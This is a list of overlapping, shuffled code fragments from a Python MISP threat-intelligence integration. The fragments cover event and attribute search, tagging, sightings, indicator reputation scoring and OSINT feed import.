obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text)\",\n \"remove_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will remove tag to given UUID of event\",\n \"your MISP server url is correct.') if \\\"Please make sure the API key\",\n \"regexFlags).match(value): raise DemistoException(f\\\"Error: The given domain: {value} is not valid\\\") if dbot_type ==\",\n \"detected as related to the tag. \\\"\\\"\\\" scored_events = [] if found_tag: for\",\n \"= build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template\",\n \"= {key: events[i].get(key) for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] =\",\n \"[ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute):\",\n \"Please see an example for a parsed output in test_data/reputation_command_outputs.json \\\"\\\"\\\" response =\",\n \"= False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True\",\n \"else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return\",\n \"event. \\\"\\\"\\\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type',\",\n \"get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\\\"No attributes found in MISP for value: {value}\\\")\",\n \"one is str), and verify all the tags are valid positive integers.\\\"\\\"\\\" for\",\n \"MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator,\",\n \"malicious or suspicious. event_name (str): Name of the event \\\"\\\"\\\" related_events = []\",\n \"len(response_for_context) md = tableToMarkdown(f\\\"MISP search-attributes returned {number_of_results} attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"]) else: response_for_context =\",\n \"is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name':\",\n \"delete_event(demisto_args: dict): \\\"\\\"\\\" Gets an event id and deletes it. \\\"\\\"\\\" event_id =\",\n \"attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id or\",\n \"= [] if found_tag: for attribute in all_attributes: event = attribute.get('Event', {}) event_name\",\n \"= value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if\",\n \"event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating event in MISP\",\n \"is one of it's tags. If so, the event will be added to\",\n \"reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type\",\n \"ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from\",\n \"EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count',\",\n \"= arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}')\",\n \"distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response\",\n \"to add to tag_set_ids all the tags (event ones and the event's attribute\",\n \"malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE':\",\n \"else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url =\",\n \"malicious_description=\\\"No results were found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator,\",\n \"The given email address: {value} is not valid\\\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids,\",\n \"= found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute':\",\n \"PYMISP.search(eventid=event_id) human_readable = f\\\"## MISP create event\\\\nNew event with ID: {event_id} has been\",\n \"MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value = value if comment:\",\n \"'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True))\",\n \"have a field called inherited. When it is set to 1 it says\",\n \"exists.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been\",\n \"score is Unknown so no events should be found. Returns: list includes all\",\n \"will be removed from the suspicious tag ids set and will be stayed\",\n \"\\\"\\\"\\\"Adds sighting to MISP attribute \\\"\\\"\\\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type\",\n \"the found tag ids. Some tags have a field called inherited. When it\",\n \"'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type',\",\n \"command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event':\",\n \"over all the tags and search if found_tag is one of it's tags.\",\n \"for parameters and ';' as delimiter for operators. using the operators is optional.\",\n \"length, enter file hash of format MD5, SHA-1 or SHA-256') if dbot_type ==\",\n \"= PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully removed from the\",\n \"= PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md\",\n \"value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\\\"## MISP add\",\n \"raise DemistoException(f\\\"An error was occurred: {response.get('message')}\\\") elif response.get('Sighting'): human_readable = f'Sighting \\\\'{sighting_type}\\\\' has\",\n \"newer ones. Returns: response (dict): The parsed outputs to context data (array of\",\n \"def get_new_misp_event_object(args): \\\"\\\"\\\" Create a new MISP event object and set the event's\",\n \"'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation':\",\n \"Args: value (str): The indicator value (an IP address, email address, domain, url\",\n \"return [{k: v} for k, v in args.items()] def build_generic_object(template_name: str, args: List[dict])\",\n \"reliability=reliability, malicious_description=\\\"No results were found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) return\",\n \"prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True)\",\n \"created in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}},\",\n \"misp_query_params, operator_key): is_complex_search = False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',')\",\n \"raise DemistoException(\\\"limit should be zero or a positive number\\\") def attribute_response_to_markdown_table(response: dict): attribute_highlights\",\n \"= tag.get('inherited', 0) # field doesn't exist when this is an attribute level,\",\n \"GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP object Returns: list: list\",\n \"] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \\\"\\\"\\\"returns list of attributes' values that\",\n \"'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [\",\n \"'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID',\",\n \"params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY,\",\n \"isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in\",\n \"= event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event\",\n \"the information is too big. User can use the command search-attributes in order\",\n \"successfully created.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int\",\n \"key in the integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES\",\n \"(str): The tag that was scored as malicious or suspicious. event_name (str): Name\",\n \"requests.Response], include_correlations=False) -> dict: \\\"\\\"\\\" Convert the response of attribute search returned from\",\n \"DemistoException(f\\\"Error: The given IP address: {value} is not valid\\\") if dbot_type == 'DOMAIN':\",\n \"= is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search:\",\n \"value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if last_seen:\",\n \"def get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\" This function searches for all the events that have\",\n \"Dict from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject,\",\n \"Suspicious tag ids lists the indicator will be scored as malicious. - Attributes\",\n \"'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid',\",\n \"'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \\\"IP\\\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type\",\n \"found in MISP for value: {value}\\\") def get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\" This function searches\",\n \"function searches for the given attribute value in MISP and then calculates it's\",\n \"in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in\",\n \"args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info')\",\n \"Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'),\",\n \"return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type ==\",\n \"demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException(\",\n \"is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif\",\n \"DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = (\",\n \"else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else\",\n \"found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids) if\",\n \"is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious:\",\n \"= comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return\",\n \"dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event\",\n \"raise DemistoException(\\\"Removing the required tag was failed. Please make sure the UUID and\",\n \"replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params()\",\n \"tags). \\\"\\\"\\\" output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for\",\n \"attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object:\",\n \"(dict): The parsed response from the MISP search attribute request found_tag (str): The\",\n \"'{tag}' id.\\\") except ValueError: raise DemistoException(f\\\"Tag id has to be a positive integer,\",\n \"in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations'\",\n \"DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\"\",\n \"== 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args,\",\n \"UUID of event or attribute. is_attribute (bool): if the given UUID is an\",\n \"dbot_type == \\\"FILE\\\": hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value)\",\n \"level is 4 = Unknown. note: - In case the same tag appears\",\n \"url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment\",\n \"dict) -> List[dict]: \\\"\\\"\\\" Converts args dict into a list, please see GenericObjectGenerator\",\n \"description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj\",\n \"= build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\\\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\\\")\",\n \"(attribute tags and event tags). Args: value (str): The indicator value (an IP\",\n \"'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp',\",\n \"obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \\\"\\\"\\\"Building\",\n \"the event \\\"\\\"\\\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag in\",\n \"event will be added to related_events list Args: object_data_dict (dict): Event or attribute\",\n \"return add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute` parameter could not\",\n \"from keys in event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if\",\n \"is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag\",\n \"object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id,\",\n \"PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict):\",\n \"Returns: list includes all the events that were detected as related to the\",\n \"and publishing them to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format\",\n \"email address, domain, url or file hash). dbot_type (str): Indicator type (file, url,\",\n \"50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context\",\n \"'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs',\",\n \"includes all the indicator results. \\\"\\\"\\\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True,\",\n \"CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function\",\n \"attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif\",\n \"lists the indicator will be scored as malicious. - Attributes tags (both malicious\",\n \"MISP: \\\\nError message: {response}') else: human_readable = f'Event {event_id} has been deleted' return\",\n \"indicator value, this function parses the response. This function goes over all the\",\n \"tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag)\",\n \"removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No attributes\",\n \"will add tag to given UUID of event or attribute. is_attribute (bool): if\",\n \"human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict,\",\n \"if category: attribute_instance.category = category if value: attribute_instance.value = value if comment: attribute_instance.comment\",\n \"attribute\\\\nAttribute: {attribute_uuid} was updated.\\\\n\\\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return\",\n \"return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds a domain object to MISP domain-ip\",\n \"is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has to be a positive\",\n \"or not exists) it says that it is an attribute's tag. If the\",\n \"if \\\"Please make sure the API key and the URL are correct\\\" in\",\n \"= demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid\",\n \"number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has\",\n \"\\\"\\\"\\\"returns list of attributes' values that match the search query when user set\",\n \"get rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")] =\",\n \"ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args\",\n \"the attributes. \\\"\\\"\\\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events\",\n \"= MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg]\",\n \"Returns: List[Dict[str, any]]: filtered response \\\"\\\"\\\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors':\",\n \"if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] =\",\n \"occurred: {json.dumps(response)}\\\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" Test module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if\",\n \"fields. In addition, returns set of the found tag ids. Some tags have\",\n \"if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\\\"MISP\",\n \"keys in Returns: Union[dict, list, str]: same object type that got in \\\"\\\"\\\"\",\n \"event_highlights = [] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event)\",\n \"raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has\",\n \"for example: https://www.misp-project.org/feeds/ feed format must be MISP. \\\"\\\"\\\" headers = {'Accept': 'application/json'}\",\n \"Malicious tag ids and Suspicious tag ids lists the indicator will be scored\",\n \"[] # there is no need in returning related event when searching for\",\n \"in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response\",\n \"limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results =\",\n \"else \\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \\\"\\\"\\\" Replacing\",\n \"in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else\",\n \"create the generic object Returns: GenericObjectGenerator: object created in MISP Example: args should\",\n \"Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \\\"DOMAIN\\\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \\\"EMAIL\\\":\",\n \"suspicious). \\\"\\\"\\\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in\",\n \"star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name':\",\n \"'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id',\",\n \"- Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP V3 error: Please\",\n \"dict): \\\"\\\"\\\"Gets an OSINT feed from url and publishing them to MISP urls\",\n \"url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore\",\n \"url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port})\",\n \"may exist\\\" else: pagination_message += f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-events\",\n \"for misp to perform complex query or if no complex query found returns\",\n \"in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] # there is no\",\n \"of event \\\"\\\"\\\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error\",\n \"== 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args))\",\n \"Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format:\",\n \"ones. Returns: response (dict): The parsed outputs to context data (array of attributes).\",\n \"= PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\\\"Current\",\n \"response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event)\",\n \"malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids\",\n \"be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else:\",\n \"'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = {\",\n \"Test module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has\",\n \"SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = {\",\n \"dbot_type == 'FILE': # hashFormat will be used only in output hash_format =\",\n \"found_tag is one of it's tags. If so, the event will be added\",\n \"\\\\nError message: {response}') else: human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable,\",\n \"in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'),\",\n \"tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found\",\n \"= None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids)\",\n \"args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in\",\n \"found in MISP: \\\\nError message: {response}') else: human_readable = f'Event {event_id} has been\",\n \"the tag. Args: attribute_dict (dict): The dictionary that includes the tag list. is_event_level\",\n \"in returning related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp']\",\n \"event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'),\",\n \"command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif\",\n \"score, events_to_human_readable): found_tag_id, found_tag_name = \\\"\\\", \\\"\\\" for event in events_to_human_readable: # removing\",\n \"return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \\\"EMAIL\\\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type ==\",\n \"url or file hash). dbot_type (str): Indicator type (file, url, domain, email or\",\n \"return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command\",\n \"suspicious. Args: all_attributes (dict): The parsed response from the MISP search attribute request\",\n \"object to add to MISP event_id: ID of event \\\"\\\"\\\" response = PYMISP.add_object(event_id,\",\n \"in UT: test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py Args: demisto_query:\",\n \"'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing':\",\n \"2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3,\",\n \"false), and the tag is only related to an attribute we would like\",\n \"user set the arg 'compact' to True\\\"\\\"\\\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object))\",\n \"attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings,\",\n \"PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input':\",\n \"event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute\",\n \"= PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}')\",\n \"of attributes and Events that: * have tags which configured as malicious will\",\n \"\\\"\\\"\\\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit',\",\n \"guardrails-disable-line \\\"\\\"\\\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) ->\",\n \"match the required indicator value, this function parses the response. This function goes\",\n \"arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args =\",\n \"and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object)\",\n \"\\\"\\\"\\\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str:\",\n \"(int): Event ID to add attribute to internal (bool): if set to True,\",\n \"def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response: event = attribute.get('Event',\",\n \"def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in\",\n \"= demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds a\",\n \"MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\\\"An error was occurred:\",\n \"url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url\",\n \"response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key)\",\n \"ignore from typing import Union, List, Dict from urllib.parse import urlparse import urllib3\",\n \"if not re.compile(emailRegex, regexFlags).match(value): raise 